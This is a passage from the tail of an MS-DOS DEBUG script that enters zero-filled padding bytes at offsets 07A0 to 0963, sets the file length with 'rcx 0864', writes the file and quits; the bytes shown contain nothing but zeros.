e 07A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 07F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0880 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 08F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0960 00 00 00 00
rcx
0864
w
q
-------------------------------------------------------------------------------